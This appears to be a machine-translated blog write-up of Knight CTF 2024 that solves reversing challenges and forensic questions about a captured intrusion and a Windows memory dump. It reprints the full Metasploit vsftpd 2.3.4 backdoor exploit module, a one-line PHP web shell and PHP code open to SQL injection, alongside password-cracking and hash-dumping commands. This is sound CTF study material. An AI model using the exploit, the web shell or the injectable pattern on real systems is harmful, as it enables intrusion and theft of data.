\n\nThis page has been machine-translated from the original page.
\n
I participated in Knight CTF 2024 with 0nePadding.
\nI couldn’t solve many challenges due to time constraints, but we finished in 68th place.
\nIt was an unusually forensics-heavy CTF, and I had a lot of fun participating.
\n\n\n\nIn the mystical land of Eldoria, a fierce dragon had captured the kingdom’s most precious treasure, hiding it behind a magical binary. The bravest knight of the realm, Sir Emeric, known for both sword and wit, embarked on a quest to retrieve the treasure. To succeed, he must reverse the dragon’s binary. As Sir Emeric’s trusted apprentice in “Dragon’s Binary” you are tasked with solving the cipher to reveal the hidden treasure and help vanquish the dragon’s spell. Your journey is filled with mystery and danger, where only the sharpest mind can prevail.
\n
When I analyzed the file provided as the challenge binary in Ghidra, I found that it validates a password read from standard input.
\nThis check XORs the hard-coded string letMeIn with IamDragon and compares it against the XOR result of the input value.
The correct flag was KCTF{letMeIn}.
\n\nIn a realm where magic and technology merge, lies the Knight Armoury, home to the legendary “Sword of Bytes.” Forged by Knight Squad, this digital sword holds immense power. Your mission: reverse the ancient binary guarding the Armoury and claim the sword to become the protector of the digital kingdom. Only the wisest and most skilled in reverse engineering can succeed. Are you ready to embark on this epic journey?
\n
When I analyzed the challenge binary in Ghidra, the password was immediately obvious.
\nSending it to the server yielded the flag.
\n\n\nHunt your way through the challenge and Capture The hidden Flag!!!
\n
By cracking the hash of the encrypted ZIP file provided for the challenge with john, I could identify the password needed to extract it.
zip2john chall.zip > hash.txt\n\n# 辞書を使用して解析\njohn --wordlist=/usr/share/wordlists/rockyou.txt hash.txtAfter extracting the files, I found a large number of image files and a file called key.wav.
Comparing the image files using md5 hashes shows that only one file has a different hash value.
\nLooking at this packet, we can see that it is carrying out a web-scan-like attack.
\nSo the correct flag was KCTF{192.168.1.8_192.168.1.7}.
\n\nWhat tool did the attacker use to do basic enumeration of the server?
\nPlease use the attachment of the first challenge.
\nFlag Format: KCTF{toolname}
\n
In the next problem, we need to identify the tool used to perform the web scan.
\nLooking at the access history, I found requests to files containing the string Nikto.
\nThe correct flag is KCTF{6200}.
\n\nWhat’s the CVE id for the vulnerable service?
\nPlease use the attachment of the first challenge.
\n
Again, based on the vulnerability research, we can determine that the correct flag is KCTF{CVE-2011-2523}.
Reference: vsftpd 2.3.4 - Backdoor Command Execution - Unix remote Exploit
\n\n\nThe attacker used a popular tool to gain access of the server. Can you name it?
\n
This challenge asks us to identify the famous tool the attacker used to gain access to the server.
\nSince we already know the vulnerability, searching for something like vsftpd 2.3.4 backdoor tool shows that most of the top results are Metasploit.
KCTF{metasploit} is accepted as-is, but since we have the chance, let’s take a look inside.
##\n# $Id: vsftpd_234_backdoor.rb 13099 2011-07-05 05:20:47Z hdm $\n##\n\n##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\nRank = ExcellentRanking\n\ninclude Msf::Exploit::Remote::Tcp\n\ndef initialize(info = {})\nsuper(update_info(info,\n'Name' => 'VSFTPD v2.3.4 Backdoor Command Execution',\n'Description' => %q{\nThis module exploits a malicious backdoor that was added to theVSFTPD download\narchive. This backdoor was introdcued into the vsftpd-2.3.4.tar.gz archive between\nJune 30th 2011 and July 1st 2011 according to the most recent information\navailable. This backdoor was removed on July 3rd 2011.\n},\n'Author' => [ 'hdm', 'mc' ],\n'License' => MSF_LICENSE,\n'Version' => '$Revision: 13099 $',\n'References' =>\n[\n[ 'URL', 'http://pastebin.com/AetT9sS5'],\n[ 'URL', 'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html' ],\n],\n'Privileged' => true,\n'Platform' => [ 'unix' ],\n'Arch' => ARCH_CMD,\n'Payload' =>\n{\n'Space' => 2000,\n'BadChars' => '',\n'DisableNops' => true,\n'Compat' =>\n{\n'PayloadType' => 'cmd_interact',\n'ConnectionType' => 'find'\n}\n},\n'Targets' =>\n[\n[ 'Automatic', { } ],\n],\n'DisclosureDate' => 'Jul 3 2011',\n'DefaultTarget' => 0))\n\nregister_options([ Opt::RPORT(21) ], self.class)\nend\n\ndef exploit\n\nnsock = self.connect(false, {'RPORT' => 6200}) rescue nil\nif nsock\nprint_status(\"The port used by the backdoor bind listener is already open\")\nhandle_backdoor(nsock)\nreturn\nend\n\n# Connect to the FTP service port first\nconnect\n\nbanner = sock.get_once(-1, 30).to_s\nprint_status(\"Banner: #{banner.strip}\")\n\nsock.put(\"USER #{rand_text_alphanumeric(rand(6)+1)}:)\\r\\n\")\nresp = sock.get_once(-1, 30).to_s\nprint_status(\"USER: #{resp.strip}\")\n\nif resp =~ /^530 /\nprint_error(\"This server is configured for anonymous only and the backdoor code cannot be reached\")\ndisconnect\nreturn\nend\n\nif resp !~ /^331 /\nprint_error(\"This server did not respond as expected: #{resp.strip}\")\ndisconnect\nreturn\nend\n\nsock.put(\"PASS #{rand_text_alphanumeric(rand(6)+1)}\\r\\n\")\n\n# Do not bother reading the response from password, just try the backdoor\nnsock = self.connect(false, {'RPORT' => 6200}) rescue nil\nif nsock\nprint_good(\"Backdoor service has been spawned, handling...\")\nhandle_backdoor(nsock)\nreturn\nend\n\ndisconnect\n\nend\n\ndef handle_backdoor(s)\n\ns.put(\"id\\n\")\n\nr = s.get_once(-1, 5).to_s\nif r !~ /uid=/\nprint_error(\"The service on port 6200 does not appear to be a shell\")\ndisconnect(s)\nreturn\nend\n\nprint_good(\"UID: #{r.strip}\")\n\ns.put(\"nohup \" + payload.encoded + \" >/dev/null 2>&1\")\nhandler(s)\nend\n\nendReference: vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) - Unix remote Exploit
\nLooking at the code, we can see that the way the attack query sent to the FTP service is constructed, as well as the commands executed after obtaining the shell, match the Metasploit script.
\n\n\nWhat’s the flag of the hidden file?
\nPlease use the attachment of the first challenge.
\n
Tracing the series of reverse-shell packets shows that data from a file called .Fl4g.tXT was retrieved, as shown below.
.]0;root@kctf: /root..[01;32mroot@kctf.[00m:.[01;34m/root.[00m# cat .Fl4g.tXT\ncat .Fl4g.tXT\nHi! \nYou've come this far analyzing the file. Good Job. :D \nHere's something for you. Hope you get it.. ;P\n\n37n3vq6rp6k05ov33o5fy5b33sj3rq2sy4p56735853h9This string, 37n3vq6rp6k05ov33o5fy5b33sj3rq2sy4p56735853h9, looks suspicious, but as-is it is impossible to tell what kind of data it is.
Judging from other people’s writeups, apparently the intended solution was to guess the encryption method.
\nIf you know the Twin-Hex Cipher, you could probably guess that the output looks very similar. (I didn’t.)
\nDecoding it on the following site reveals that the correct flag is KCTF{ExPloItiNg_S3RvEr_Is_fUN}.
Reference: Twin-Hex Cypher encoder and decoder from CalcResult Universal Calculators
\n\n\nThere’s something confidential. Can you find it?
\n
Enumerating the HTTP objects shows that a file called maybeconfidential.zip was stolen.
I couldn’t find anything even after extracting the image file, so I tried unzipping the Doc file and was able to find a file containing the flag.
\n\n\nWhat is the backdoor file name?
\n
Tracing the sequence of reverse-shell packets shows that a PHP file containing <?php echo system(\"$_GET['cmd']\");?> was created as .621b4CkD0oR.php5.
From that, we can determine that the correct flag is KCTF{.621b4CkD0oR.php5}.
\n\nWhat is the full path of the backdoor in the server?
\n
Here, the path of the backdoor file we confirmed earlier is itself the flag.
\nKCTF{/var/www/html/app/assets/.621b4CkD0oR.php5} is the correct flag.
\n\nWhat is the super admin password in the web application?
\n
Reading the reverse-shell traffic trace shows that a database dump file created with the command mysqldump -u db_user -p kctf2021 > backup.sql was stolen.
Apparently this seems to match the dump file provided as an attachment.
\nLooking at the source code of the application downloaded earlier, we can see code like the following, where if taskId exists in the GET request, its value can be executed directly in the SQL query.
<?php \nsession_start();\n\ninclude(\"../models/db.php\");\n\nif(isset($_GET['taskId'])){\n $uuid = $_GET['taskId'];\n\n $sql = \"SELECT * FROM `tasks` WHERE `uuid` = $uuid\";\n $result = mysqli_query($conn, $sql);\n}\n\nif(isset($_POST['update_task_btn'])){\n if(isset($_POST['taskDescription']) && isset($_POST['taskStatus'])) {\n $taskDescription = mysqli_real_escape_string($conn, $_POST['taskDescription']);\n $taskStatus = mysqli_real_escape_string($conn, $_POST['taskStatus']);\n\n $sql = \"UPDATE `tasks` SET `task_desc` = '$taskDescription', `task_status` = '$taskStatus' WHERE `uuid` = $uuid\";\n $result = mysqli_query($conn, $sql);\n if($result){\n echo \"Task Updated Successfully. Redirecting...\";\n header(\"refresh:2; url=../views/tasks.php\");\n }else{\n echo \"Unknown Error. Please contact admin.\";\n die();\n }\n }\n}\n?>Therefore, the correct flag is KCTF{sqli_taskId}.
\n\nWhat tool did the attacker use to identify the vulnerability of edit task page?\nFlag Format: KCTF{toolname/version}
\n
As you can see immediately from the packets issuing the SQLi requests, KCTF{sqlmap/1.7.10#stable} is the correct flag.
\n\nThere’s something interesting. Can you find it?\nFlag Format: KCTF{fl4G}
\n
I couldn’t figure it out because the hint in the prompt was too sparse, but apparently the correct flag was obtained by decoding the encrypted string in backup.sql with ROT47.
\n\nThere was a hidden page which was only accessible to root & was removed from the web app for security purpose. Can you find it?
\n
Reading the application code reveals that there is a page called terminal-13337.php that is accessible only to the root user.
Therefore, KCTF{terminal-13337.php} is the correct flag.
\n\nWhat is the database username & databasename?
\n
You can tell this one just by reading the code.
\nSince it was one of the later questions, maybe it was just a giveaway challenge.
\n\n\nWhat is the login password of the OS?
\n
It looks like we just need to obtain the OS login password from the memory dump under analysis.
\nYou could combine WinDbg commands and extract it from the registry information, but that is a hassle, so I used Volatility instead.
\nI used the command vol3 -f KnightSquad.DMP windows.hashdump in a REMNux environment.
From this, I could determine that the password for the user siam was squad.
As a long shot, I tried running windows.dumpfiles.DumpFiles against these files, but unfortunately I could not recover them.
Text files and the like are often not cached, so it can’t be helped.
\nNext, I tried windows.cmdline.CmdLine.
This shows that there is one Notepad process.
\nTo read the contents of process memory, I used WinDbg.
\nFirst, I identified the address of the process object for notepad.exe.
I tried switching context to this process and investigating it, but it seemed to be paged out, so I couldn’t examine it.
\nOut of desperation, I ran strings, which let me obtain the flag for the next challenge, Execution, but not the flag for this one.
After looking into it more, I found that files that cannot be recovered with windows.dumpfiles.DumpFiles can sometimes be recovered using the dumpfiles plugin in Volatility 2. (I don’t fully understand the difference. Maybe it doesn’t retrieve them through the cache manager?)
So I output the text file with volatility_2.6_win64_standalone.exe -f KnightSquad.DMP --profile=Win7SP1x64_23418 dumpfiles -Q 0xb9ba7bb0 --name file -D outdir.
\n\nMy leader, Noman Prodhan, executed something in the cmd of this infected machine. Could you please figure out what he actually executed?
\n
From the results of running strings on the dump file, I found that KCTF{W3_AR3_tH3_Kn1GHt} was the flag.
\n\nWhat is the path folder of the executable file which execute privious flag?
\n
Looking at the results of strings -a -t d -el KnightSquad.DMP | grep KCTF{, I found that C:\\Users\\siam>C:\\Users\\siam\\Documents\\windows.bat outputs the previous flag.
Therefore, KCTF{C:\\Users\\siam\\Documents} is the correct flag.
\n\nWhat is the malicious software name?
\n
I had already identified a suspicious file in the output of windows.filescan.FileScan, so I found that KCTF{MadMan.exe} was the correct flag.
There were so many challenges that I got tired just writing this writeup.
\nForensics really is fun.
","fields":{"slug":"/ctf-knight-ctf-2024-en","tagSlugs":["/tag/rev-en/","/tag/forensic-en/","/tag/english/"]},"frontmatter":{"date":"2024-01-23","description":"Knight CTF 2024 Writeup","tags":["Rev (en)","Forensic (en)","English"],"title":"Knight CTF 2024 Writeup","socialImage":{"publicURL":"/static/e353d4b1696f0dba9be231a7cddd182f/ctf-knight-ctf-2024.png"}}}},"pageContext":{"slug":"/ctf-knight-ctf-2024-en"}},"staticQueryHashes":["251939775","401334301","825871152"]}